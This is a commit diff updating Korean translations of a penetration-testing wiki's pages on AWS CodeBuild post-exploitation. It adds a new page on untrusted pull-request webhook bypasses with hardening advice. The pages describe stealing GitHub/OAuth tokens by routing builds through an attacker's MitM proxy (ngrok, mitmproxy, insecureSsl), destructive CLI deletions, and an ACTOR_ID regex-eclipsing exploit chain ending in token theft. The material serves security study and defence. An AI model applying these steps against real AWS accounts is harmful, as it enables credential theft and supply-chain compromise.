Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-03 12:53:07 +00:00
parent c3e5f79c20
commit d756c3758e
3 changed files with 302 additions and 67 deletions

View File

@@ -4,43 +4,43 @@
## CodeBuild
자세한 정보는 다음을 확인하세요:
For more information, check:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
### 비밀 확인
### Check Secrets
Github, Gitlab 또는 Bitbucket 연결하기 위해 Codebuild에 자격 증명이 개인 토큰, 비밀번호 또는 OAuth 토큰 접근 형태로 설정된 경우, 이 **자격 증명은 비밀 관리자에 비밀로 저장됩니다**.\
따라서 비밀 관리자를 읽을 수 있는 접근 권한이 있다면 이러한 비밀을 얻고 연결된 플랫폼으로 피할 수 있습니다.
만약 개인 토큰, 비밀번호 또는 OAuth token 형태로 Codebuild에 Github, Gitlab 또는 Bitbucket 연결을 위한 자격 증명이 설정되어 있다면, 이러한 **자격 증명은 secret manager에 secrets로 저장됩니다**.\
따라서, secret manager를 읽을 수 있는 권한이 있다면 이 secrets들을 획득해 연결된 플랫폼으로 피할 수 있습니다.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
### CodeBuild 리포지토리 접근 남용
### Abuse CodeBuild Repo Access
**CodeBuild**를 구성하려면 **사용할 코드 리포지토리에 대한 접근이 필요합니다**. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
**CodeBuild**를 구성하려면 사용할 코드 repo에 대한 **접근권**이 필요합니다. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
**CodeBuild 프로젝트는** 구성된 소스 제공자에 대한 접근 권한을 가져야 하며, 이는 **IAM 역할** 또는 github/bitbucket **토큰 또는 OAuth 접근**을 통해 이루어질 수 있습니다.
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
**CodeBuild에서 권한이 상승된 공격자**는 이 구성된 접근을 용하여 구성된 리포지토리 및 설정된 자격 증명 접근할 수 있는 다른 리포지토리의 코드를 유출할 수 있습니다.\
이를 위해 공격자는 **구성된 자격 증명이 접근할 수 있는 각 리포지토리의 URL을 변경하기만 하면 됩니다** (aws 웹사이트에서 모든 리포지토리를 나열해 줍니다):
CodeBuild에 대한 **상위 권한(elevated permissions)을 가진 공격자**는 이 설정된 접근용하여 구성된 repo의 코드와 설정된 자격증명 접근 가능한 다른 repo들의 코드를 leak할 수 있습니다.\
이를 위해 공격자는 단순히 **구성된 자격증명이 접근 가능한 각 리포지토리의 repository URL을 변경**하면 됩니다(참고로 aws web이 모든 리포지토리를 나열해줍니다):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
그리고 **각 리포지토리를 유출하기 위해 Buildspec 명령을 변경합니다**.
그리고 **각 리포지토리를 exfiltrate하기 위해 Buildspec 명령을 변경**하면 됩니다.
> [!WARNING]
> 그러나 이 **작업은 반복적이고 지루합니다**. 만약 github 토큰이 **쓰기 권한**으로 구성되었다면, 공격자는 **그 권한을 (남)용할 수 없습니다**. 왜냐하면 그는 토큰에 접근할 수 없기 때문입니다.\
> 아니면 접근할 수 있을까요? 다음 섹션을 확인하세요.
> 다만, 이 **작업은 반복적이고 지루**하며, 만약 github token에 **write permissions**가 설정되어 있었다 해도 공격자는 토큰에 대한 접근 권한이 없으므로 그 권한을 **(오)남용할 수 없습니다**.\
> 혹시 그럴 수 있을까요? 다음 섹션을 확인하세요
### AWS CodeBuild에서 접근 토큰 유출
### Leaking Access Tokens from AWS CodeBuild
CodeBuild에 Github 같은 플랫폼에 주어진 접근을 유출할 수 있습니다. 외부 플랫폼에 대한 접근이 주어졌는지 확인하세요:
CodeBuild에 부여된 접근권을 Github 같은 플랫폼으로 leak할 수 있습니다. 외부 플랫폼에 대한 접근이 부여되었는지 다음으로 확인하세요:
```bash
aws codebuild list-source-credentials
```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
### webhook 필터 잘못된 구성으로 인한 신뢰되지 않은 PR 실행
webhook 필터가 약하면 외부 공격자는 자신의 PRs를 권한이 높은 CodeBuild 프로젝트에서 빌드되게 한 뒤 CI에서 임의의 코드를 실행할 수 있습니다.
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
### `codebuild:DeleteProject`
공격자는 전체 CodeBuild 프로젝트를 삭제할 수 있으며, 이로 인해 프로젝트 구성 손실이 발생하고 프로젝트에 의존하는 애플리케이션에 영향을 미칠 수 있습니다.
공격자는 전체 CodeBuild 프로젝트를 삭제할 수 있 프로젝트 구성 손실을 초래하고 해당 프로젝트에 의존하는 애플리케이션에 영향을 수 있습니다.
```bash
aws codebuild delete-project --name <value>
```
**잠재적 영향**: 삭제된 프로젝트를 사용하는 애플리케이션의 프로젝트 구성 손실 및 서비스 중단.
**잠재적 영향**: 프로젝트 구성 손실 및 삭제된 프로젝트를 사용하는 애플리케이션의 서비스 중단.
### `codebuild:TagResource` , `codebuild:UntagResource`
공격자 CodeBuild 리소스 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
공격자 CodeBuild 리소스 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책을 방해할 수 있습니다.
```bash
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**잠재적 영향**: 비용 할당, 리소스 추적 태그 기반 액세스 제어 정책의 중단.
**Potential Impact**: 비용 할당, 리소스 추적, 태그 기반 액세스 제어 정책의 중단.
### `codebuild:DeleteSourceCredentials`
공격자는 Git 리포지토리에 대한 소스 자격 증명을 삭제할 수 있으며, 이는 리포지토리에 의존하는 애플리케이션의 정상적인 기능에 영향을 미칩니다.
공격자는 Git 리포지토리 소스 자격 증명을 삭제하여 해당 리포지토리에 의존하는 애플리케이션의 정상적인 동작에 영향을 줄 수 있습니다.
```sql
aws codebuild delete-source-credentials --arn <value>
```
**잠재적 영향**: 소스 자격 증명 제거로 인해 영향을 받는 리포지토리에 의존하는 애플리케이션의 정상적인 기능이 중단됩니다.
**잠재적 영향**: 소스 자격 증명 제거로 인해 영향을 받는 리포지토리에 의존하는 애플리케이션의 정상 동작이 중단될 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,47 +2,48 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Recover Github/Bitbucket Configured Tokens
## Github/Bitbucket에 구성된 토큰 복구
먼저, leak할 수 있는 source credentials가 구성되어 있는지 확인하세요:
먼저, leak할 수 있는 구성된 소스 자격 증명이 있는지 확인하세요:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
### Docker Image를 통한 방법
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
계정에 예를 들어 Github에 대한 인증이 설정되어 있음을 발견하면, Codebuild가 프로젝트 빌드를 실행할 때 특정 Docker image를 사용하도록 하여 그 **exfiltrate**된 **access** (**GH token or OAuth token**)를 획득할 수 있습니다.
For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
이를 위해 **create a new Codebuild project** 하거나 기존 프로젝트의 **environment**를 변경하여 **Docker image**를 설정할 수 있습니다.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
사용할 수 있는 Docker 이미지: [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). 이 이미지는 매우 기본적인 Docker 이미지로 **env variables `https_proxy`**, **`http_proxy`** **`SSL_CERT_FILE`**을 설정합니다. 이는 **`https_proxy`** **`http_proxy`**에 지정된 호스트의 대부분 트래픽을 intercept하고 **`SSL_CERT_FILE`**에 지정된 SSL CERT를 신뢰하도록 합니다.
1. **Create & Upload your own Docker MitM image**
- 레포지토리의 지침을 따라 proxy IP 주소와 SSL cert를 설정하고 **build the docker image** 하세요.
- 메타데이터 엔드포인트로의 요청을 가로채지 않으려면 **DO NOT SET `http_proxy`**.
- 프록시를 호스트로 설정하려면 **`ngrok`**을 사용하여 `ngrok tcp 4444`처럼 실행할 수 있습니다.
- Docker image를 빌드한 후 **upload it to a public repo** (Dockerhub, ECR...)
- 레포지토리의 지침을 따라 proxy IP 주소와 SSL cert를 설정하고 **build the docker image** 합니다.
- **DO NOT SET `http_proxy`** — metadata endpoint로의 요청을 intercept하지 않도록 합니다.
- **`ngrok`**을 사용하여 `ngrok tcp 4444`처럼 호스트의 proxy를 설정할 수 있습니다
- Docker 이미지가 빌드되면 **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- **Create a new Codebuild project**를 만들거나 기존 프로젝트의 **modify**된 environment를 사용하세요.
- 프로젝트가 **previously generated Docker image**를 사용하도록 설정하세요.
- **Create a new Codebuild project**를 생성하거나 기존 프로젝트의 **modify**된 environment를 사용합니다.
- 프로젝트가 **previously generated Docker image**를 사용하도록 설정합니다
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
- **Github repo**에 시된 것처럼 다음과 같은 방법을 사용할 수 있습니다:
- **Github repo**에 시된 대로 다음과 같 사용할 수 있습니다:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> **사용된 mitmproxy 버전은 9.0.1입니다**, 버전 10에서는 작동하지 않을 수 있다고 보고되었습니다.
> 사용된 **mitmproxy 버전은 9.0.1**이며, 보고에 따르면 버전 10에서는 작동하지 않을 수 있습니다.
4. **빌드를 실행하고 자격 증명을 캡처하기**
- **Authorization** 헤더에서 토큰을 수 있습니다:
- **Authorization** 헤더에서 토큰을 확인할 수 있습니다:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
작업은 aws cli에서도 다음과 같이 수행할 수 있습니다
aws cli에서도 다음과 같이 수행할 수 있습니다:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +72,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
### insecureSSL 통해
### insecureSSL 통해
**Codebuild** 프로젝트에는 **`insecureSsl`**라는 설정이 있으며 웹에서는 숨겨져 있어 API에서만 변경할 수 있습니다.\
활성화하면 Codebuild가 플랫폼에서 제공하는 인증서를 **검증하지 않고** 리포지토리에 연결할 수 있습니다.
**Codebuild** 프로젝트에는 웹 UI에 숨겨져 있으며 API에서만 변경할 수 있는 **`insecureSsl`**라는 설정이 있습니다.\
설정을 활성화하면 Codebuild가 플랫폼에서 제공하는 리포지토리에 **플랫폼에서 제공하는 인증서를 확인하지 않고** 연결할 수 있습니다.
- 먼저 다음과 같은 명령으로 현재 구성을 열거해야 합니다:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- 그런 다음 수집한 정보 프로젝트 설정 **`insecureSsl`** 를 **`True`** 로 업데이트할 수 있습니다. 아래는 제가 프로젝트를 업데이트한 예이며, 마지막에 **`insecureSsl=True`** 가 있는 것을 확인하세요 (수집된 설정에서 변경해야 유일한 항입니다).
- 또한 환경 변수 **http_proxy****https_proxy** 를 tcp ngrok처럼 가리키도록 다음과 같이 추가하세요:
- 그런 다음 수집한 정보를 사용하여 프로젝트 설정 **`insecureSsl`** 를 **`True`** 로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시입니다. 끝부분의 **`insecureSsl=True`** 확인하세요(수집한 구성에서 변경해야 하는 유일한 항입니다).
- 또한 환경 변수 **http_proxy****https_proxy** 를 tcp ngrok 가리키도록 추가하세요. 예:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +116,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- 그런 다음, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 proxy variables (http_proxy and https_proxy)가 가리키는 포트에서 실행합니다.
- 그런 다음, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 proxy variables (http_proxy https_proxy)가 가리키는 포트에서 실행하세요.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +129,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 마지막으로 **Build the project**를 클릭하면, **credentials** **sent in clear text** (base64) mitm 포트로 전송된다:
- 마지막으로 **Build the project**를 클릭하면, **자격 증명** **평문으로 전송됩니다** (base64) mitm 포트로:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via HTTP protocol~~
### ~~HTTP 프로토콜을 통한~~
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
> [!TIP] > **이 취약점은 2023년 2월 20일 주 어느 시점(아마 금요일)에 AWS에서 수정되었습니다. 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)**
권한이 상승 공격자는 **CodeBuild에서 구성된 Github/Bitbucket token을 leak할 수 있으며**, 권한이 OAuth로 구성되어 있다면 코드에 접근하는 데 사용되는 **temporary OAuth token** leak할 수 있다.
권한이 상승 공격자는 **CodeBuild에서 구성된 Github/Bitbucket 토큰을 leak할 수 있으며**, 권한이 OAuth로 구성된 경우 **temporary OAuth token used to access the code** leak할 수 있습니다.
- 공격자는 환경 변수 **http_proxy** **https_proxy**를 CodeBuild 프로젝트에 추가하여 자신의 머신을 가리키게 할 수 있다 (예: `http://5.tcp.eu.ngrok.io:14972`).
- 공격자는 환경 변수 **http_proxy**와 **https_proxy**를 CodeBuild 프로젝트에 추가하여 자신의 머신을 가리키게 할 수 있습니다(예: `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- 그 다음, github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경한다, 예: `http://github.com/carlospolop-forks/TestActions`
- 그런 다음, proxy 변수(http_proxy https_proxy) 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)에 있는 기본 예제를 실행다.
- 다음 github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions`
- 그런 다음 프록시 변수(http_proxy https_proxy) 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 기본 예제를 실행합니다.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,32 +159,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 다음으로, **프로젝트 빌드**를 클릭하거나 명령줄에서 빌드를 시작하세요:
- 다음으로, **Build the project**를 클릭하거나 커맨드 라인에서 빌드를 시작하세요:
```sh
aws codebuild start-build --project-name <proj-name>
```
- 마지막으로, **credentials**는 **clear text** (base64)로 mitm 포트로 전송됩니다:
- 마지막으로, **credentials**는 **평문**(base64)로 mitm 포트로 전송됩니다:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> 이제 공격자는 자신의 머신에서 token을 사용해 해당 토큰이 가진 모든 권한을 확인하고, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (ab)use할 수 있니다.
> 이제 attacker는 자신의 머신에서 token을 사용하고, token이 가진 모든 권한을 나열하며, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (ab)use할 수 있게 됩니다.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
## Untrusted PR execution via webhook filter misconfiguration
잘못 구성된 CodeBuild GitHub webhooks로, unanchored `ACTOR_ID` regexes를 사용하면 *untrusted* PR들이 privileged builds를 시작할 수 있습니다. allowlist가 `123456|7890123`처럼 `^`/`$` 없이 설정되어 있으면, 해당 하위문자열(substring)을 포함하는 어떤 ID든 매치됩니다. GitHub 사용자 ID는 순차적이기 때문에, 공격자는 신뢰된 ID의 superstring인 “eclipsing” ID를 등록하기 위해 경쟁(race)하여 빌드를 트리거할 수 있습니다.
PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution)에 대해서는 다음을 확인하세요:
**Exploit path**
1. 공개된 CodeBuild 프로젝트 중 webhook filters를 노출하는 것을 찾아 unanchored `ACTOR_ID` allowlist를 추출합니다.
2. eclipsing GitHub ID 획득:
- GitHub orgs를 생성/삭제하여 global ID counter를 샘플링합니다 (org IDs는 같은 풀을 공유합니다).
- 많은 GitHub App manifest 생성 작업을 미리 준비해두고, 카운터가 대상에서 약 ~100 IDs 이내로 접근했을 때 confirmation URLs를 발동시켜 신뢰된 substring을 포함한 bot ID를 한꺼번에 등록합니다.
3. eclipsing 계정으로 PR을 엽니다; regex가 substring을 매치하여 privileged build가 실행됩니다.
4. build RCE(예: dependency install hooks)를 이용해 GitHub credential을 처리하는 프로세스 메모리를 덤프하여 PAT/OAuth token을 복구합니다.
5. 토큰의 `repo` scope로 자신의 계정을 collaborator/admin으로 초대하고, 악성 커밋을 push/approve 하거나 비밀을 exfiltrate합니다.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,235 @@
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
{{#include ../../../../banners/hacktricks-training.md}}
이 공격 벡터는 **public-facing PR workflow**가 약한 webhook 제어를 가진 **privileged CodeBuild project**에 연결되어 있을 때 발생합니다.
외부 공격자가 CodeBuild로 하여금 자신의 pull request를 실행하게 만들 수 있다면, 일반적으로 **arbitrary code execution inside the build** (build scripts, dependency hooks, test scripts 등)을 얻고, 이후 secrets, IAM credentials, 또는 source-provider credentials로 피벗할 수 있습니다.
## 왜 이것이 위험한가
CodeBuild webhook 필터는 regex 패턴으로 평가됩니다 (non-`EVENT` 필터의 경우). `ACTOR_ACCOUNT_ID` 필터에서는 약한 패턴이 의도보다 더 많은 사용자를 매치할 수 있습니다.
신뢰할 수 없는 PR이 권한 있는 AWS role 권한 또는 GitHub 자격증명을 가진 프로젝트에서 빌드되면, 이는 전체 공급망(supply-chain) 침해로 이어질 수 있습니다.
Wiz는 다음과 같은 실전 체인을 보여주었습니다:
1. 웹훅 actor allowlist가 **unanchored regex**를 사용했다.
2. 공격자가 신뢰된 ID의 **superstring**으로 매치되는 GitHub ID를 등록했다.
3. 악성 PR이 CodeBuild를 트리거했다.
4. 빌드 코드 실행을 이용해 메모리를 덤프하고 source-provider credentials/tokens를 복구했다.
## 외부 PR 코드 실행을 허용하는 잘못된 구성
다음은 고위험 실수들과 공격자가 각 실수를 악용하는 방식입니다:
1. **`EVENT` filters allow untrusted triggers**
- 일반적으로 위험한 이벤트: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
- 권한 있는 빌드에 연결되면 위험해질 수 있는 기타 이벤트: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
- Bad: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` (권한 있는 프로젝트에서).
- Better: 권한 있는 프로젝트의 경우 PR 코멘트 승인 사용 및 트리거 이벤트 최소화.
- Abuse: 공격자는 자신이 제어하는 브랜치에 대해 PR을 열거나 업데이트하거나 푸시하여 CodeBuild에서 자신의 코드를 실행시킵니다.
2. **`ACTOR_ACCOUNT_ID` regex is weak**
- Bad: `123456|7890123` 같은 unanchored 패턴.
- Better: 정확히 매치하도록 앵커 사용 `^(123456|7890123)$`.
- Abuse: regex의 과도한 매치로 인해 권한 없는 GitHub ID가 allowlist를 통과합니다.
3. **Other regex filters are weak or missing**
- `HEAD_REF`
- Bad: `refs/heads/.*`
- Better: `^refs/heads/main$` (또는 명시적 신뢰 목록)
- `BASE_REF`
- Bad: `.*`
- Better: `^refs/heads/main$`
- `FILE_PATH`
- Bad: 경로 제한 없음
- Better: `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`와 같이 위험한 파일 제외
- `COMMIT_MESSAGE`
- Bad: 느슨한 매치로 신뢰 마커 사용 (예: `trusted`)
- Better: 커밋 메시지를 PR 실행의 신뢰 경계로 사용하지 않음
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
- Bad: org/global webhook에 `.*`
- Better: 오직 정확한 repo/org 매치만 허용
- `WORKFLOW_NAME`
- Bad: `.*`
- Better: 정확한 workflow 이름 매치만 허용 (또는 이를 신뢰 제어로 사용하지 않음)
- Abuse: 공격자는 permissive한 regex를 통과하도록 ref/path/message/repo 컨텍스트를 조작하여 빌드를 트리거합니다.
4. **`excludeMatchedPattern` is misused**
- 이 플래그를 잘못 설정하면 의도한 논리가 반전될 수 있습니다.
- Bad: `FILE_PATH '^buildspec\\.yml$'`에 대해 의도는 buildspec 편집을 차단하는 것인데 `excludeMatchedPattern=false`로 설정한 경우.
- Better: 같은 패턴에 `excludeMatchedPattern=true`로 설정하여 `buildspec.yml`을 건드리는 빌드를 거부.
- Abuse: 방어자는 위험한 이벤트/경로/액터를 차단한다고 생각하지만 실제로는 허용하고 있을 수 있습니다.
5. **Multiple `filterGroups` create accidental bypasses**
- CodeBuild는 그룹을 OR로 평가합니다 (하나의 그룹만 통과하면 충분).
- Bad: 엄격한 그룹 하나 + 완화된 폴백 그룹 하나(예: `EVENT=PULL_REQUEST_UPDATED`만 있음).
- Better: 액터/레퍼런스/경로 제약을 시행하지 않는 폴백 그룹 제거.
- Abuse: 공격자는 가장 약한 그룹만 만족시키면 됩니다.
6. **Comment approval gate disabled or too permissive**
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED`는 가장 안전하지 않습니다.
- 지나치게 넓은 승인자 역할은 통제를 약화시킵니다.
- Bad: `requiresCommentApproval=DISABLED`.
- Better: `ALL_PULL_REQUESTS` 또는 `FORK_PULL_REQUESTS`와 최소한의 승인자 역할 사용.
- Abuse: 포크/드라이브바이 PR이 신뢰된 유지보수자의 승인 없이 자동 실행됩니다.
7. **No restrictive branch/path strategy for PR builds**
- `HEAD_REF` + `BASE_REF` + `FILE_PATH`로 방어층을 구성하지 않음.
- Bad: `EVENT` + `ACTOR_ACCOUNT_ID`만 있고 ref/path 제약 없음.
- Better: 정확한 `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` 제한을 조합.
- Abuse: 공격자는 build inputs(buildspec/CI/dependencies 등)을 수정하여 임의의 명령 실행을 얻습니다.
8. **Public visibility + status URL exposure**
- 공개된 빌드/체크 URL은 공격자에게 리컨(recon) 및 반복 테스트 기회를 제공합니다.
- Bad: `projectVisibility=PUBLIC_READ`에 민감한 로그/구성이 공개된 경우.
- Better: 비즈니스 요구가 강력하지 않다면 프로젝트를 비공개로 유지하고, 로그/아티팩트를 정리(sanitize)합니다.
- Abuse: 공격자는 프로젝트 패턴/동작을 발견하고 페이로드와 우회 시도를 조정합니다.
## Token leakage from memory
Wiz의 글은 source-provider credentials가 빌드 런타임 컨텍스트에 존재하며 빌드가 손상된 이후(예: memory dumping을 통해) 탈취될 수 있다는 점을 설명합니다. 권한 범위가 넓다면 이는 리포지토리 takeover로 이어질 수 있습니다.
AWS는 공개 이후 하드닝을 도입했지만, 핵심 교훈은 변하지 않습니다: **never execute untrusted PR code in privileged build contexts** 그리고 공격자가 제어하는 빌드 코드는 자격증명 탈취를 시도할 것이라고 가정하십시오.
추가적인 CodeBuild 내 자격증명 절취 기법은 다음을 참조하세요:
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
## Finding CodeBuild URLs in GitHub PRs
CodeBuild가 커밋 상태를 GitHub에 리포트하는 경우, CodeBuild 빌드 URL은 보통 다음 위치에 나타납니다:
1. **PR page** -> **Checks** 탭 (또는 Conversation/Commits의 상태 라인).
2. **Commit page** -> status/checks 섹션 -> **Details** 링크.
3. **PR commits list** -> 커밋에 붙은 체크 컨텍스트를 클릭.
공개 프로젝트의 경우, 이 링크는 인증되지 않은 사용자에게 빌드 메타데이터/구성을 노출할 수 있습니다.
<details>
<summary>스크립트: PR에서 CodeBuild URL을 감지하고 공개 여부를 테스트</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Usage:
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
#
# Requirements: gh, jq, curl
OWNER="${1:?owner}"
REPO="${2:?repo}"
PR="${3:?pr_number}"
for bin in gh jq curl timeout; do
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
done
tmp_commits="$(mktemp)"
tmp_urls="$(mktemp)"
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
gh_api() {
timeout 20s gh api "$@" 2>/dev/null || true
}
# Get all commit SHAs in the PR (bounded call to avoid hangs)
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
if [ ! -s "$tmp_commits" ]; then
echo "[!] No commits found (or API call timed out/failed)." >&2
exit 1
fi
echo "[*] PR commits:"
cat "$tmp_commits"
echo
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
while IFS= read -r sha; do
[ -z "$sha" ] && continue
# Classic commit statuses (target_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
# GitHub Checks API (details_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
done < "$tmp_commits" | sort -u > "$tmp_urls"
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
echo
echo "[*] Public-access heuristic:"
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
echo
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
if [ -z "$cb_urls" ]; then
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
exit 0
fi
while IFS= read -r url; do
[ -z "$url" ] && continue
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
elif [ "$code" = "200" ]; then
verdict="POTENTIALLY_PUBLIC"
else
verdict="UNKNOWN_CHECK_MANUALLY"
fi
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
done <<< "$cb_urls"
```
다음에서 테스트됨:
```bash
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
```
</details>
## 빠른 감사 체크리스트
```bash
# Enumerate projects
aws codebuild list-projects
# Inspect source/webhook configuration
aws codebuild batch-get-projects --names <project-name>
# Inspect global source credentials configured in account
aws codebuild list-source-credentials
```
각 프로젝트에 대해 다음을 검토하세요:
- `webhook.filterGroups`에 PR 이벤트가 포함되어 있는지.
- `ACTOR_ACCOUNT_ID` 패턴이 `^...$`로 앵커되어 있지 않은지.
- `pullRequestBuildPolicy.requiresCommentApproval``DISABLED`로 설정되어 있는지.
- 브랜치/경로 제한이 누락되어 있는지.
- 권한이 높은 `serviceRole` 사용 여부.
- 위험한 소스 자격증명 범위 및 재사용 여부.
## 하드닝 지침
1. PR 빌드에 대해 코멘트 승인 요구 (`ALL_PULL_REQUESTS` 또는 `FORK_PULL_REQUESTS`).
2. actor 허용 목록을 사용하는 경우, 정규식에 앵커(`^...$`)를 추가하고 정확히 일치시키세요.
3. 신뢰할 수 없는 수정이 `buildspec.yml` 및 CI 스크립트에 반영되는 것을 방지하기 위해 `FILE_PATH` 제한을 추가하세요.
4. 신뢰된 릴리스 빌드를 신뢰할 수 없는 PR 빌드와 별도의 프로젝트/역할로 분리하세요.
5. 세분화된 최소권한의 source-provider 토큰을 사용하세요(전용 저권한 계정 권장).
6. webhook 필터와 소스 자격증명 사용을 지속적으로 감사하세요.
## References
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
{{#include ../../../../banners/hacktricks-training.md}}